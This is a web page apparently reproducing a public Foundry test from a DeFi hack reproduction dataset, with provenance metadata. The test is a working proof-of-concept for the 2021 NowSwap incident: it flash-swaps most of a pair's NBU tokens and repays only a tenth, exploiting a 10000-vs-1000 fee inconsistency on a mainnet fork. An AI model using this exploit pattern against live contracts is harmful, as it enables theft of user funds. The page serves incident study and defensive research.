Public reproduction file
src/test/2021-09/NowSwap_exp.sol
Public reproduction file for dataset entry NowSwap Platform.
Code
Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.
1// SPDX-License-Identifier: UNLICENSED2pragma solidity 0.8.10;4import "forge-std/Test.sol";5import "./../interface.sol";7interface IERC20Custom {8 function transfer(address, uint256) external;9}11/*12 Vulnerable contract: https://etherscan.io/address/0xa14660a33cc608b902f5bb49c8213bd4c8a4f4ca#code unverified contract13 root cause: inconsistent value in the code, 10000 vs 1000.14 Attacker contract: 0x5676e585bf16387bc159fd4f82416434cda5f1a3*/15contract ContractTest is Test {16 address public pair = 0xA0Ff0e694275023f4986dC3CA12A6eb5D6056C62; //NWETH/NBU17 address public nbu = 0xEB58343b36C7528F23CAAe63a150240241310049;18 CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);20 function setUp() public {21 cheats.createSelectFork("mainnet", 13_225_516); //fork bsc at block 1322551622 }24 function testExploit() public {25 console.log("Before exploiting", IERC20(nbu).balanceOf(address(this)));27 uint256 amount = IERC20(nbu).balanceOf(pair) * 99 / 100;29 IUniswapV2Pair(pair).swap(0, amount, address(this), abi.encodePacked(amount));31 console.log("After exploiting", IERC20(nbu).balanceOf(address(this)));32 }34 fallback() external {35 IERC20Custom(nbu).transfer(pair, IERC20(nbu).balanceOf(address(this)) / 10);36 }37}Analysis
Dataset entry
Public Foundry test for “NowSwap Platform” (2021-09-15). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.
Related files
4 linkedImports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.
- src/test/2021-09/DaoMaker_exp.solSame month in the dataset · 52 lines
- src/test/2021-09/Nimbus_exp.solSame month in the dataset · 41 lines
- src/test/2021-09/Sushimiso_exp.solSame month in the dataset · 48 lines
- src/test/2021-09/ZABU_exp.solSame month in the dataset · 170 lines
File record
- Name
- NowSwap Platform
- Path
- src/test/2021-09/NowSwap_exp.sol
- Repository
- SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
- Commit
- 7363f76db51f0fea97f8e659b20ee8bdc5fbca25
- Blob
- 64d4de1386764701100de95af7735a26fdf93c62
- Language
- Solidity
- Size
- 38 lines
- Date
- 2021-09-15
- Licence
- file header UNLICENSED; repository Apache-2.0
- Retrieved
- 2026-10-19
Provenance
Path src/test/2021-09/NowSwap_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob 64d4de1386764701100de95af7735a26fdf93c62, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.